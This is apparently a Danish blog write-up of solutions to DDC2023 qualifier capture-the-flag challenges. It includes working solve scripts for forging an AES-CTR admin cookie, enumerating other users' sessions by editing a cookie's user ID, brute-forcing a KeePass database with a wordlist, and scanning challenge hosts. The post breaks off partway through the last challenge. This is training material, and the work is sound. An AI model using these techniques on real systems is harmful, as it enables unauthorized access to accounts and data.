Igen i år havde jeg fornøjelsen af at knække lidt opgaver i forbindelse med kvalifikationen til DDC2023. Samtidig giver det mig mulighed for at skrive lidt ned om det jeg har fundet frem til, således at jeg forhåbentlig også selv bliver klogere.

Jeg endte med at løse 18 opgaver (19 point, inkl. kvalifikations-flaget), hvilket placerede mig på en 21. (eller delt 19.) plads i senior kategorien, hvilket jeg er godt tilfreds med.

Forensics

The Santa Claus Attack

Sværhedsgrad: Let
Fil: Download
Beskrivelse:

Der var kun få dage tilbage til jul, men Julemanden manglede stadig at få styr på de sidste gaver. Han besluttede derfor i hemmelighed at købe gaverne online for at nå det i tide.

Da Grinchen opdagede dette, besluttede han at sende Julemanden en phishingmail. Julemanden hoppede i fælden og klikkede på et ondsindet link i en mail, der lignede en ordrebekræftelse for hans nylige julegaveindkøb.

Kig Julemandens nylige mails igennem og se, om du kan finde et link, der stikker ud fra de andre og som ikke leder til en ægte webshop. Analysér herefter netværkstrafikken for at bestemme det præcise tidspunkt, hvor Julemanden klikkede sig ind på det link.

Flaget er tidspunktet formateret som DDC{YYYY-MM-DD-hh-mm-ss}. Finder du f.eks. svaret 3. maj 2022 kl. 14:32:10, er flaget DDC{2022-05-03-14-32-10}.

Tip: Brug programmet Wireshark til at analysere netværkstrafikken.

Vi får gevet 3 mails, samt en .pcap fil, med netværkstraffik. Efter at have undersøgt de 3 emails er det hurtigt tydeligt at den ene ser phishy ud (den fra ASOS), da den forsøger at linke til hjemmesiden http://fungasoap.net i et af sine links, hvilket ikke er en virkelig hjemmeside (whois returnerer ingenting).

Derfor kan vi nu let lede efter dette domæne i Wireshark, f.eks. ved at finde tidspunket for DNS opslaget.

Filtreringen i Wirkeshark kan laves blot ved at skrive dns i inputfeltet. Det er ikke overvældende med pakker der er tilbage efter denne sortering. Men det er muligt at sortere direkte på DNS querien i Wireshark, som følger: dns.qry.name==fungasoap.net.

Uanset, får vi at pakke 440 pakken der forespørger DNS serveren om fungasoap.net, nu skal vi blot finde tidspunktet for den. Dette gøres i Wireshark, ved at sætte tiden til absolut i stedet for relativ: View > Time Display Format > Date and Time of Day.

Vi kan nu se at pakken er sendt præcis kl. 2016-09-19 23:10:01,490874, hvorved vi har fundet flaget.

Flag: DDC{2016-09-19-23-10-01}

USBestjålet

Sværhedsrad: Let-Medium
Filer: Download 1, Download 2, Download 3, Download 4

Note: Da filen i sig selv er for stor til at hoste, har jeg delt den op i 4, der kan pakkes ud med 7z.

Beskrivelse:

Politiet anholdt i november en ung mand i København og sigtede ham for at stjæle et hemmeligt dokument fra BBC. Ifølge BBC er det meste af dokumentet volapyk, men det gemmer på en hemmelighed.

Et USB-stik er under afhøringen af den anholdte blevet beslaglagt og sendt til teknisk analyse. Politiet har vurderet det meget sandsynligt, at dokumentet har ligget på USB-stikket og har brug for at finde det før retssagen. Den tekniske afdeling har dog kun fundet en række Monty Python memes og et manuskript.

Kan du hjælpe politiet med deres efterforskning?

Gad vide hvad det er for en fil vi har med at gøre…

$ file usb.001
usb.001: DOS/MBR boot sector MS-MBR Windows 7 english
at offset 0x163 "Invalid partition table"
at offset 0x17b "Error loading operating system"
at offset 0x19a "Missing operating system",
disk signature 0xb4d45eda;
partition 1 : ID=0xc, start-CHS (0x0,2,3),
end-CHS (0x33,0,13), startsector 128, 819200 sectors;
partition 2 : ID=0xc, start-CHS (0x33,0,14),
end-CHS (0x81,254,63), startsector 819328, 1271808 sectors

Det er altså en hel diskafbildning, med nogle forskellige partitioner på.

Jeg brugte en del tid i denne opgave på at mounte disken i de forskellige offsets og forsøge at rode igennem filerne, hvilket blandt andet indeholder en masse memes (som opgave beskrivelsen også siger), men desværre ikke noget flag.

Jeg kunne dog også finde frem til at der lå en slettet .zip fil et sted på billedet, som ikke dukkede op når jeg mountede den, derfor gik jeg i stedet over til at bruge foremost.

$ foremost -t zip usb.001
$ cd output/zip
$ unzip '*.zip'
$ ls
00008368.zip         imageUSB.exe                  Pittsburgh Fire Vic.png
00827568.zip         isp.png                       Pittsburgh Ladder.png
00880064.zip         Lorem_Ipsum.rtf               Pittsburgh Tanker.png
7zip_dll             mbr                           ReadMe.txt
20220914_121135.jpg  Pittsburgh Fire Explorer.png
Help                 Pittsburgh Fire Tahoe.png

Nu dukker der tilgengæld en interessant fil op: Lorem_Ipsum.rtf.

I den, finder vi en masse Lorem Ipsum tekst, med en enkelt base64 encoded streng midt i det hele: RERDezcxNV9idTdfNF81Y3I0N2NofQ==

$ echo "RERDezcxNV9idTdfNF81Y3I0N2NofQ==" | base64 -d
DDC{715_bu7_4_5cr47ch}

Flag: DDC{715_bu7_4_5cr47ch}

Hackerboss: en usikker samtale

Sværhedsgrad: Medium
Fil: Download
Beskrivelse:

Efter en ildebrand i et formodet cyberkriminelt klubhus finder du en næsten fuldstændigt ødelagt harddisk. Du formår at genskabe én fil, men den er til gengæld ret spændende. Kan du finde noget i dén? Opgaven kan løses uafhængigt af andre opgaver.

Igen, er file vejen frem, for at finde ud af hvad vi har med at gøre:

$ file an_interesting_file
an_interesting_file: SQLite 3.x database,
last written using SQLite version 3035004,
page size 2048, writer version 2,
read version 2, file counter 4,
database pages 353, 1st free page 353,
free pages 1, cookie 0x4b, schema 4,
UTF-8, version-valid-for 4

Det er altså en SQLite 3 database.

Der er rimelig meget data i databasen: 75 tables, med alt fra 0 til 623 rows i.

import sqlite3

con = sqlite3.connect('an_interesting_file')
cur = con.cursor()
res = cur.execute("SELECT name FROM sqlite_schema WHERE type ='table' AND name NOT LIKE 'sqlite_%'")

tables = [x[0] for x in res.fetchall()]
print(f'Tables: {len(tables)}')

for table in tables:
  res = cur.execute(f'SELECT * FROM {table}')
  print(len([item for item in cur.fetchall()]))

Jeg startede med at printe hele skidtet ud, og søge groft igennem det, efter nogle få nøgleord, såsom “hemmelig”, “kryptere”, “flag”, “secret”, “sikker”. Generelt ligner det et export af en chatapplikation, fra matrix.org, hvilket formentlig er hvad den efterfølgende opgave tager udgangspunkt i.

Det ser ud til at tabellen pduid_pdu er den mest spændende, da der ligger en del ukrypterede samtaler derinde. Så lad os blot se nærmere på den.

import sqlite3
import json
from pprint import pprint

con = sqlite3.connect('an_interesting_file')
cur = con.cursor()
cur.execute(f'SELECT * FROM pduid_pdu')

for res in cur.fetchall():
  pprint(json.loads(res[1])['content'])

Vi ser at flaget ligger “skjult”, som QQP{x0q3a_71y_c3a635x4o37_3e_a3z}, hvilket til forveksling ligner en ROT13 cipher.

$ echo "QQP{x0q3a_71y_c3a635x4o37_3e_a3z}" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
DDC{k0d3n_71l_p3n635k4b37_3r_n3m}

Flag: DDC{k0d3n_71l_p3n635k4b37_3r_n3m}

Hackerman: et sikkert sted

Sværhedsgrad: Svær
Fil: Filen er desværre for stor til at uploade
Beskrivelse:

Du har for nyligt fået fat i et SD-kort som du formoder har tilhørt den berygtede Hackerman. Kan du bruge det til noget? Opgaven kan løses uafhængigt af andre opgaver.

Vi har fået et helt filsystem, i formatet ext4

$ file disk.iso
disk.iso: Linux rev 1.0 ext4 filesystem data,
UUID=1f6bf330-e792-4aaa-b79a-3a0086ce1dcc
(extents) (64bit) (large files) (huge files)

Det kan vi heldigvis mounte i linux

$ sudo mkdir /media/hackerman
$ sudo mount disk.iso /media/hackerman -o loop
$ cd /media/hackerman

Min første tanke var at se om der mon var nogle brugere på systemet, der havde noget interessant ligende. Der er én bruger pi, så lad os undersøge dennes hjemmemappe.

$ ls -la /media/hackerman/home/pi
$ ls -la
--- afkortet ---
drwxr-xr-x 11 kali kali   4096 Nov 23 22:54 .cache
drwx------  2 kali kali   4096 Aug 23  2021 .conf
drwx------ 42 kali kali   4096 Dec 11  2021 .config
drwxr-xr-x  2 kali kali   4096 Nov 21  2021 Desktop
drwxr-xr-x  2 kali kali   4096 Nov 23 21:36 Documents
drwxr-xr-x  2 kali kali   4096 Oct  9  2021 Downloads
drwx------  3 kali kali   4096 May 23  2021 .gnupg
drwxr-xr-x  2 kali kali   4096 Nov 23 22:54 .hemmelig
drwxr-xr-x  5 kali kali   4096 May 28  2021 .local
drwxr-xr-x  2 kali kali   4096 Jul  2  2021 Music
drwxr-xr-x  3 kali kali   4096 Jul 23  2021 Pictures
drwx------  3 kali kali   4096 May 23  2021 .pki
drwx------  3 kali kali   4096 Dec 11  2021 .pp_backup
drwxr-xr-x  2 kali kali   4096 May 23  2021 Public
drwxr-xr-x  2 kali kali   4096 May 27  2021 .secret

Især mappen .hemmelig falder i øjnene, da den tydeligvis er skrevet på dansk og næsten helt sikker må være brugerlavet.

$ ls -la /media/hackerman/home/pi/.hemmelig
-rw-r--r--  1 kali kali 556103 Nov 23 21:32 koder.kdbx

Det er en KeePassXC database - hvor interessant! Desværre virker keepass2john ikke på denne fil.

$ keepass2john koder.kdbx > hash.txt
! koder.kdbx : File version '40000' is currently not supported!

En kort websøgning senere, viser det sig at keepass2john kun supporterer KeePassXC < 2.36 (kilde), grundet nyere hashes.

Tilgengæld fandt jeg et simplet brute-force, baseret på keepassxc-cli, skrevet i bash (r3nt0n/keepass4brute). Lad os i stedet prøve med dette, og rockyou.txt

$ ./keepass4brute.sh koder.kbdx /usr/share/wordlists/rockyou.txt

keepass4brute 1.1 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 1115/14344392 (taylor1)
[*] Password found: taylor1

Det virkede, vi fandt et kodeord: taylor1. Jeg startede med at åbne filen i KeePassXCs app, for at få et overblik over hvad der mon var i databasen. Det skulle dog vise sig at der er 3930 entries i databasen, så det er ikke helt så ligetil.

Dog fandt jeg også ud af at der kun er én entry, der har en tilhørende note, som lyder:

Jeg fik at vide at jeg skulle gemme denne:

> Det er det samme hver gang. Man har en plan, en genial plan!
Og så er man omgivet af hundehoveder og hængerøve, lusede amatører,
elendige klamphuggere, latterlige skidesprællere. Talentløse skiderikker,
impotente grødbønder, og Socialdemokrater!

Eller bare:

> EsTb 9nAK dzgf Cob5 VSwA mQ9Z yskf JRGH GDdN RAmm yyiL ga1q

Det ligner et fingerprint / recovery code til en service af en art. Så mon ikke det er måden man kan dekryptere dele af samtalen fra den foregående opgave: Hackerboss: en usikker samtale, og derved finde flaget til den sidste af flagene i serien. Det passer i hvert fald også med at noten er sat til hjemmesiden app.element.io, som er en matrix.org klient.

Om ikke andet valgte jeg at eksportere databasen, så alle kodeordene står i plaintext, dette kan gøres med keepassxc-cli.

$ keepassxc-cli export -f csv ./koder.kdbx > koder.csv
$ egrep -o 'DDC{.*}' koder.csv
DDC{fl3re-iter4t1on3r-e113r-et-b3dr3-h0v3dsætn1ng?}

Flag: DDC{fl3re-iter4t1on3r-e113r-et-b3dr3-h0v3dsætn1ng?}

Exiftrering af data

Sværhedsgrad: Meget let
Fil: Download
Beskrivelse:

En kendt forsker fra Aalborg Universitet mistænkes for at kommunikere hemmelige beskeder til sine fans gennem billeder på hans hjemmeside. Vi har downloaded dette billede fra hjemmesiden, kan du hjælpe med at finde ud af hvilken besked forskeren sender til sine fans?

Som navnet på opgaven hentyder til, er flaget formentlig gemt i EXIF informationen om billedet. Vi kan derfor blot bruge strings på filen og greppe efter flaget.

$ strings Cyberlandsholdet.jpeg | egrep -o 'DDC{.*}'
DDC{#EnGangTil}

Flag: DDC{#EnGangTil}

What is logging

Sværhedsgrad: Meget let
Fil: Download
Beskrivelse:

Har du hørt om logging? Jeg har fået en masse requests, men er usikker på om der er noget spændende

Filen vi får givet ligner en logfil fra en webserver. Mon ikke flaget ligger herinde et sted i plaintekst, når nu opgaven ikke har en sværere sværhedsgrad.

$ egrep -o 'DDC{.*}' logs.txt
DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D}

Flag: DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D}

The Key-Store Version

Sværhedsgrad: Let
Beskrivelse:

There are SQL databases such as MySQL and Postgres, and NoSQL databases such as MongoDB but what if you just want to store a value in a key? What version is this key-value store running keystore.hkn? Maybe nmap can tell you which version this key-value store is running ?

Flag format DDC{Some key-value store version} e.g. DDC{memcached key-value store 1.0.2} PS. not everything is running in nmap top 1000 ports

Dette er en ren nmap opgave.

Vi starter med at scanne alle porte på hosten, ud fra tippet om at nmaps standard top 1000 porte formentlig ikke vil finde porten vi leder efter.

$ nmap -p- keystore.hkn
Nmap scan report for keystore.hkn (34.25.181.31)
Host is up (0.061s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE
6379/tcp open  redis

Efter scanning, ses det hurtigt at hosten kører redis på port 6379. nmap kan også detektere versioner af software, ved at sætte -sV flaget.

$ nmap -p 6379 -sV keystore.hkn 
Nmap scan report for keystore.hkn (34.25.181.31)
Host is up (0.030s latency).

PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 7.0.8

Det er altså redis version 7.0.8

Flag: DDC{redis key-value store 7.0.8}

Cryptography

Baby RSA

Sværhedsgrad: Let
Fil: Download
Beskrivelse:

Har du hørt om RSA?

Vi får en fil med en ciphertekst, en offentlig nøgle (\(n\), og \(e\)), samt parametrene for at kunne udregne den private nøgle med (\(p\) og \(q\)).

Den private nøgle, findes ved at udregne det inverse element, \(d\), til \(e \mod{\phi(n)}\), sådan at \(e \cdot d \equiv 1 \mod{\phi(n)}\). \(\phi(n)\) er lig \((p-1) \cdot (q-1)\), ifølge RSA protokollen. Når vi så har udregnet dette, findes plainteksten ved at udregne \(c^{d} \mod{n}\), for cipherteksten \(c\). Efter dette er det blot et spørgsmål om at konvertere resultatet til en tekststreng.

Alt dette er implementeret i følgende python script.

n = 14591059584728658996740718896274912924434702993948401065953397352995339910088088733574991258740736943162240984607294149798518974390850442269320587130740348332766777840789060640046077889381042022860333067208949242541537029834713571632092399544412860224638358821688934376008405448120397447357043233351572894555161097157298917757903358450051781374553895783095933436102637259148017787894728417663857683547045820798741292596714992103546619732559091189051271145488307258679223962750029735466371748284344268969024995984222371842720543906957141892627260247305180561557377683921023735478606199803707739027008690484139631874629
e = 65537
ciphertext = 8370482736029746802272435856905582692197472046878613623126167436276048925497192051855114861968301986740953539053163947192721440270870275675104799441533614895688983570828061357190863655539868022793932838551215620997098363666548621341103618946043035652810120255282119559608036421751056052625158822827831595069995146507062852262681451781903083499147508262669740286416571718635819352694698805949316507535002658526810142183807237137069555203580152352863371601204706128986849512578411079323120877340385328130962702308650000566212396403238074531227510385807269241298909102687880672710693216031720613169757344140890527855180

# What's the plaintext? this might help!
p = 135118121033494444903135040650593867761183730711309803684324950423162537667458806301698825106852556296618752800474983408511120590602816857766798006294318907531661438883032776328539787015720714526094491835105378129306305286637613861991613352256006427593441280185940386266360182068694185435614508146253927535219
q = 107987437015288865195226926953887120405158392241008731414825285641627743723768153549068145296919127709072426332548919995869779098499543714252696254999551997426879319789809420841712042595904693470932881039466995302317325926476459209840274875302406142467069199349897038463278476940799410775560424588456195916391

# solution
phi = (p-1) * (q-1)
d = pow(e, -1, phi)

cleartext = pow(ciphertext, d, n)

flag = int.to_bytes(cleartext, (cleartext.bit_length() + 7) // 8, 'big').decode()

print(flag)

Flag: DDC{Crypto-was-great-but-why-was-there-no-RSA}

Flipping Privilege

Sværhedsgrad: Medium
Fil: Download
Beskrivelse:

Hjemmesiden privilege.hkn gemmer på et billede, der kun kan ses af administratorer. Kan du flippe privilegiet?

Efter at have undersøgt source filen for hjemmesiden, ses det at cookien på hjemmesiden er krypteret med AES_CTR, som er en block cipher mode, der genererer en block cipher, som bliver XORet med plainteksten for at genererer cipherteksten.

Dette er også forklaret med følgende figur på Wikipedia:

Men da vores secret_key og nonce er statisk under hele programmets eksekvering, vil hele block cipheren ikke ændre sig. Efter som vi kender den originale tekst samt den tilhørende ciphertekst (cookien), kan vi blot XORe disse igen, for at skabe cipheren.

Når vi har denne, kan vi igen XORe denne med plainteksten for admin brugeren, hvilket vil give den korrekt krypterede admin cookie, helt uden at vi har kendskab til hverken secret_key eller nonce.

Derudover er det vigtigt at se på at vores to XOR operationer fungerer med lige lange keys. Da “User” og “Admin” ikke er lige lange ord, er vi nødt til at omgå dette, ved et lille hack.

Notationen

cookie_dict["access_level"] = "User"
pt = json.dumps(cookie_dict).encode()

Giver et et resultatet b'{"access_level": "User"}'.

Da cookien, efter at være dekrypteret, er parset af json biblioteket, kan vi undlade mellemrummet efter :, for at vinde den sidste karakter.

Plainteksten for admin brugeren, hardcodes altså i stedet for at parse det som et dict til json.

import json
from pwn import xor

ct = bytes.fromhex('51f3ced15d81062836714987e0172bd3e57db35e69d581d6')

cookie_dict = {}
cookie_dict["access_level"] = "User"
pt = json.dumps(cookie_dict).encode()

sol_pt = b'{"access_level":"Admin"}'

cipher = xor(ct, pt)

new_cookie = xor(cipher, sol_pt)
print(new_cookie.hex())

Efter at sætte den nye cookie, og besøge privilege.hkn/flag, får vi følgende billede:

Flag: DDC{But_I_used_Encryption}

Fang Bjørnebanden

Sværhedsgrad: Meget let
Fil: Download
Beskrivelse:

Politimester Striks er på sporet af Bjørnebanden, som han er sikker på planlægger noget. Det er lykkedes politiet at opsnappe SMS’er mellem to “burner phones”, som de mener tilhører 176-671 og 176-617: Bjørnebanden SMS’er

Desværre forstår Striks ikke, hvordan banden kommunikerer, så han kan ikke tyde deres beskeder. Han har spurgt kriminalinspektør Rebus om hjælp, men hun kunne kun knække ét af ordene: “kodeordet”.

Kan du hjælpe Striks med at finde ud af, hvad Bjørnebanden pønser på?

Tip: SMSerne er på dansk og er krypteret med et “substitution cipher”, hvor hver emoji svarer til et bogstav eller tegn.

Til at starte med kan vi se på længden af ordet “kodeordet”, som er på 9 bogstaver

Der er 3 ord på 9 bogstaver:

👍😃😎💡👜😎😂😃😎
🍯🔒😈👍👜😂🌶👜😂
🍔🔒💡😃🔒😈💡😃🌶

Kun det sidste ord passer med ordet “kodeordet”, da blandt andet det 2. og 5. bogstav er det samme. Efter at have erstattet disse emojis med bogstaver, kan man så småt begynde at kende ord og ud fra dette erstatte flere emojis.

Til sidst ender vi ud med teksten:

sendingen kommer torsdag nat klokken tre
hvor skal vi tage imod den
det gamle pakhus på molevej femten
hvordan får vi den videre
det er en stor sending vi skal bruge tre biler
dem skaffer jeg
vær forsigtig striks er på vagt
hvad er kodeordet
det er ddc{påske}

Flag: DDC{påske}

Web Security

Hot Pics

Sværhedsgrad: Let
Beskrivelse:

Jeg er freelancefotograf, og jeg har lige fået en ny hjemmeside til at poste mit arbejde. Du kan finde mange af mine fotografier på jenny-willson.hkn, og der kommer snart flere!

Vi bliver mødt af en klassisk skabelon af en hjemmeside, som ikke har det store at byde på. Ser vi på kildekoden for siden, ses det at de 16 billeder på hjemmesiden er numereret 1-18, manglende nummer 10 og 15. Disse billeder eksisterer ikke på siden, hvis man førsøger at finde den samme sti som de andre billeder, såsom http://jenny-willson.hkn/assets/img/gallery/gallery-10.jpg.

Ser man på /robots.txt, begynder det at blive spændende…

User-agent: *
Disallow: /admin/*
Disallow: /assets/img/gallery-drafts/gallery-*.jpg
Disallow: /changelog.txt

/changelog.txt indeholder dette:

Version: 1.2.0
  - Updated Bootstrap to version 5.2.3
  - Updated all outdated third party vendor libraries to their latest versions
  - Removed links and hidden drafts folder

Version: 1.1.1
  - Updated Bootstrap to version 5.2.2
  - Updated all outdated third party vendor libraries to their latest versions
  - Added support for gallery drafts 

Version: 1.1.0
  - Updated Bootstrap to version 5.2.1
  - Updated all outdated third party vendor libraries to their latest versions

Version: 1.0.0
  - Initial Release

Det kunne altså godt tyde på at vi måske kunne finde de “manglende” billeder, under /assets/img/gallery-drafts/, så vi prøver ad.

Der er hit allerede på http://jenny-willson.hkn/assets/img/gallery-drafts/gallery-10.jpg, hvor vi ser billedet:

Flag: DDC{r0b0ts_txt_is_n0t_4cc355_c0ntr0l}

Half-Baked Cookies

Sværhedsgrad: Let-Medium
Beskrivelse:

Jeg er ved at udvikle en webapp til at administrere todo lists. Du kan prøve den på todos.hkn

Efter at have oprettet en bruger på hjemmesiden, kan vi oprette punkter i vores todo, markere dem som done og slette dem igen. Forsøger vi at redigere en todo som vi ikke selv har oprettet (såsom http://todos.hkn/todos/edit/1), får vi at vide at den todo ikke tilhører os.

Som navnet på opgaven også hentyder til, har brugeren sat en cookie, som authentication mod serveren. Denne cookie er base64 encodet, og efter at have decodet den, får vi et JSON objekt tilbage.

$ echo "eyJfdXNlcl9pZCI6ICIyMSIsICJfZnJlc2giOiB0cnVlLCAiX2lkIjogIjU3MjU5M2FkZDE3OWUxM2FmNWVkYTczNTgwMzc2NTVlZWNhZmI1Y2Y0MWIyNjBjNzExNzMxODMwMWRkYTA0YTFhOTFhODgxNjIwYmIyMWM2NTA0YjM1NTllYjg3MjhkMzkyMWRkNmM1ZTEyYWE4MGNjN2JlYTA3ZmZlNGU1OWQyIn0=" | base64 -d
{"_user_id": "21", "_fresh": true, "_id": "572593add179e13af5eda7358037655eecafb5cf41b260c7117318301dda04a1a91a881620bb21c6504b3559eb8728d3921dd6c5e12aa80cc7bea07ffe4e59d2"}

Ved at ændre _user_id, kan vi tilgå andre folks todos. Det skal dog vise sig at flaget hverken ligger under user 1, eller 20, så jeg tyede straks til hjælp, for at søge igennem alle valide _user_ids.

import requests
from base64 import b64encode as b64
import re

url = 'http://todos.hkn/todos'

for i in range(1, 21):
  cookie = f'{{"_user_id": "{i}", "_fresh": true, "_id": "572593add179e13af5eda7358037655eecafb5cf41b260c7117318301dda04a1a91a881620bb21c6504b3559eb8728d3921dd6c5e12aa80cc7bea07ffe4e59d2"}}'

  print(f'trying {i}')
  cookies = {'session': b64(cookie.encode()).decode()}
  r = requests.get(url, cookies = cookies)

  match = re.search(r'DDC{.*}', r.text)
  if match:
    print(match.group())
    break

Vi prøver at køre programmet:

$ python brute.py
--- afkortet ---
trying 17
trying 18
DDC{t3s3_c00k1e_1s_sp01l3d_t1m3_t0_cl0s3_sh0p}

Det var altså bruger 18, der havde flaget.

Flag: DDC{t3s3_c00k1e_1s_sp01l3d_t1m3_t0_cl0s3_sh0p}

Reverse Engineering

Forsker Jens

Sværhedsgrad: Let
Fil: Download
Beskrivelse:

Ham der AAU-forskeren, der hele tiden er på TV, tror du ikke han har noget cool security research vi kan sælge?

Jeg har hacket hans PC, men han gemmer sin nyeste, upublicerede forskning bag et ekstra lag sikkerhed.

Det virker umuligt at trænge igennem, men det er jo også lavet af en professor! Måske kan du komme ind?

Vi skal her omgå en login formular implementeret i Python, hvor både brugernavnet og kodeordet skal findes. Brugernavnet står skrevet direkte på linje 8 i koden.

if username != "J3n5_MyruP_3r_5up3r_s3j_l0lz!!":

Kodeordet er gemt lidt mere væk, vi kan se at det skal være lige så langt som brugernavnet, skal starte med $Correct og slutte med Staple$.

if not all([
  len(password) == len(username),
  password.startswith("$Correct"),
  password[15] == "B",
  password[13] == password[5],
  password[11] == "r",
  password[9] == "H",
  password[12] == "s",
  password[10] == "o",
  "Battery" in password,
  password[8] == password[14] == password[22] == "-",
  password.endswith("Staple$")
]):

Resten af kodeordet er valideret ved at se på hvert indeks af tekststrengen, samt udtrykket "Battery" in password. Samler vi det hele sammen, får vi koden:

$Correct-Horse-Battery-Staple$

Programmet køres med disse argumenter, og vi ser hvad der sker.

$ python auth.py
Indtast brugernavn:
> J3n5_MyruP_3r_5up3r_s3j_l0lz!!

Indtast password:
> $Correct-Horse-Battery-Staple$

VELKOMMEN TILBAGE, JENS!
+=====================================================+
| Superhemmelig igangværende security research:       |
| https://vbn.aau.dk/ws/files/484572782/WACCO2022.pdf |
|                                                     |
| Dagens XKCD: https://xkcd.com/936/                  |
+=====================================================+
DDC{53cur17y_pr0f3ss0r_h4ck3d}

Link til superhemmelig research: https://vbn.aau.dk/ws/files/484572782/WACCO2022.pdf

XKCD 936:

Flag: DDC{53cur17y_pr0f3ss0r_h4ck3d}

A-maze

Sværhedsgrad: Medium
Fil: Download
Beskrivelse:

Du træder ind i et kulsort system af underjordiske grotter. Er du modig nok til at finde udgangen?

Vi får en 64-bit ELF, som skal reverses denne gang. Der ligger desværre ikke noget statisk flag i den, klar til at blive greppet… Vi skal i stedet programmere os vej igennem opgaven.

$ ./amaze
You are now entering this blind dungeon, are you brave enough to find the exit?
Your commands are:
n: go north
s: go south
w: go west
e: go east
Amaze me!
n
You hit a wall! Tough luck

Programmet terminerer med det samme, efter at være kørt og fortalt om man støder på en væg eller ej. Vi kan dog putte en hel sti ind på en gang, såsom esee, for at gå øst, syd, øst, øst.

Vi kan nu automatisere gættene, ved at lade filen læse fra stdin. Jeg har implementeret det i Python, ved brug af subprocess modulet, da det tillader at man kan få output fra sin kørte kommando.

Jeg har implementeret en rekursiv søgealgoritme, der søger depthfirst ind i labyrinten.

import subprocess 
import re

# prevent going back and forth
values = {'n': 'new', 'e': 'nes', 's': 'esw', 'w': 'nsw'}

def scan(path):
  print(f"trying {path}")

  op = subprocess.run(f"echo {path} | ./amaze",
                shell=True, capture_output=True)
  output = op.stdout.decode()

  if 'DDC' in output:
    print(f'\n\nfound flag with path: {path}')
    print(re.search(r'DDC{.*}', output).group())
    exit()

  if 'wall' in output:
    return

  # recursively try path, if it's not a wall
  for direction in values[path[-1]]:
    scan(path+direction)

if __name__ == '__main__':
  # first direction is east
  scan('e')

$ python maze.py
--- afkortet ---

found flag with path: 
essseesssseennnnnnneeeeeeessssssssssswwwsssseenneeennnnneessseee
sssssswwnnwwwwsswwwwwwwnwwwwwssssseenneesseeessssseeeeeeeeeeeeee
nnnnwwwnneeeeessssssseennnneessssses
DDC{e1s3e2s4e2n7e7s11w3s4e2n2e3n5e2s3e3s6w2n2w4s2w7n1w5s5e2n2e2
s2e3s5e14n4w3n2e5s7e2n4e2s5e1}

Flag: DDC{e1s3e2s4e2n7e7s11w3s4e2n2e3n5e2s3e3s6w2n2w4s2w7n1w5s5e2n2e2 s2e3s5e14n4w3n2e5s7e2n4e2s5e1}

Binary Exploitation

arbread

Sværhedsgrad: Medium
Fil: Download
Beskrivelse:

Kan du finde flaget? Det er skjult!

remote: arbread.hkn:1024

Her får vi en binary, med kildekoden til, skrevet i C. Formålet er nu at få flaget printet ud, ved at beskrive dets placering i memory.

For at kunne dette, åbnede jeg programmet i Ghidra, der bruges til at reverse binaries.

I Ghidra viser det sig at tekststrengen DDC{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} fremgår på 0x00402008, hvilket svarer til decimaltallet 4202504.

$ nc arbread.hkn 1024
Simple text adventure game 0.1

You wake up in a dark room...
1. Look around
2. Walk
3. Not implemented
1
Where would you like to look?
4202504
You've found: DDC{this_is_the_real_flag_go_submit}

Flag: DDC{this_is_the_real_flag_go_submit}

Misc

Password Blues

Sværhedsgrad: Let
Fil: Download
Beskrivelse:

Ministeriet for god smag har gjort det forbudt at lytte til blues. Du og dine bluesvenner er derfor nødt til at mødes i hemmelighed. For at få adgang til møderne kræves en 9-cifret kode. Din ven sender dig to billeder med følgende kryptiske besked:

“I dag føler jeg mig mindre blå end i går! Jeg forsøger at sammenligne hver dag med den foregående. Én efter én, i rækkefølge…”

Kan du finde den 9-cifrede kode til morgendagens møde? Din ven har vedlagt et Python script, der kan hjælpe dig i gang. Det bruger et Python library (PIL) til håndtering af billeder, som kan installeres med

> pip install Pillow

Scriptet kan køres med

> python analyse.py

Flaget er koden indsat i DDC{}. Hvis koden du finder er 123456789, skal du altså submitte DDC{123456789}.

Opgaven indeholder 2 tilsyneladende ens billeder, samt et tilhørende Python script. Når filen køres kommer der helt vildt meget output, så lad os i stedet se hvad der sker, og forsøge at rydde lidt op i det.

# Loop over the pixels (RGB-values) of both images at the same time
for pixel1, pixel2 in zip(pixels1, pixels2):
  # Compare and print whether pixels are identical
  if pixel1 == pixel2:
    print(f"{pixel1} == {pixel2}")
  else:
    print(f"{pixel1} != {pixel2}")

Ovenstående er programmet som det ser ud i opgaven. Lad os nu starte med at modificere det, så det kun printer de gange der er forskel på pixels.

for pixel1, pixel2 in zip(pixels1, pixels2):
  if pixel1 != pixel2:
    print(f"{pixel1} != {pixel2}")

Kører vi programmet nu, er outputtet langt mere håndgribeligt:

$ python analyse.py
(49, 24, 28) != (49, 24, 27)
(51, 27, 27) != (51, 27, 22)
(37, 29, 27) != (37, 29, 18)
(49, 39, 38) != (49, 39, 36)
(110, 109, 114) != (110, 109, 112)
(130, 129, 127) != (130, 129, 125)
(233, 181, 194) != (233, 181, 192)
(31, 85, 123) != (31, 85, 119)
(23, 33, 25) != (23, 33, 17)

Der er altså præcis 9 pixels, der er forskellige på de to billeder. Ser man nærmere på dem, er det kun den 3. værdi (altså blå) der er forskellig på dem

Vi kan jo udregne denne forskel ved at trække de to værdier fra hinanden, mon ikke vi så får den 9-cifrede kode vi står og mangler…

for pixel1, pixel2 in zip(pixels1, pixels2):
    if pixel1 != pixel2:
        print(pixel1[2]-pixel2[2], end='')
print()

Vi prøver at køre programmet:

$ python analyse.py
159222248

Flag: DDC{159222248}

File Riddler

Sværhedsgrad: Let
Beskrivelse:

Velkommen, detektiv!

Et mysterie venter dig ved fileriddler.hkn. Løs mine gåder og brug svarene til at skaffe dig root-adgang. Her venter min hemmelighed dig, hvis du er værdig.

Hint: Prøv at bruge svarene ét af gangen

Et hurtigt scan af hosten viser at FTP er åbent, så lad os starte med at se om vi kan tilgå noget som anonymous.

$ nmap -p- fileriddler.hkn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 21:44 CET
Nmap scan report for fileriddler.hkn (34.25.181.62)
Host is up (0.059s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp

Dette kan gøres i Thunar (Kalis standard file explorer), ved at tilgå ftp://fileriddler.hkn, og vælge anonymous.

Der er 1000 .txt filer på serveren, men de er stort set alle tomme, bortset fra 6 filer.

De indeholder alle gåder.

$ bat *.txt
